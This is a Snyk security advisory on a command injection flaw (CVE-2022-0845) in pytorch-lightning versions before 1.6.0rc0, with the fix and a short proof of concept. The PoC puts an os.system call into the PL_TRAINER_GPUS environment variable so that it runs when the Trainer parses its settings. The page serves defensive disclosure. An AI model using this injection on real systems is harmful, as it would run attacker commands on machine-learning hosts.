Command Injection Affecting pytorch-lightning package, versions [,1.6.0rc0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.22% (60th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-PYTORCHLIGHTNING-2419028
  • published6 Mar 2022
  • disclosed6 Mar 2022
  • creditwhokilleddb

Introduced: 6 Mar 2022

CVE-2022-0845  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade pytorch-lightning to version 1.6.0rc0 or higher.

Overview

pytorch-lightning is a lightweight PyTorch wrapper for ML researchers. Scale your models. Write less boilerplate.

Affected versions of this package are vulnerable to Command Injection by setting the PL_TRAINER_GPUS when using the Trainer module.

PoC

import os
from pytorch_lightning import Trainer
from pytorch_lightning.utilities.argparse import *

os.environ["PL_TRAINER_GPUS"] = 'os.system("touch code_injected")'

parse_env_variables(Trainer)

References

CVSS Scores

version 3.1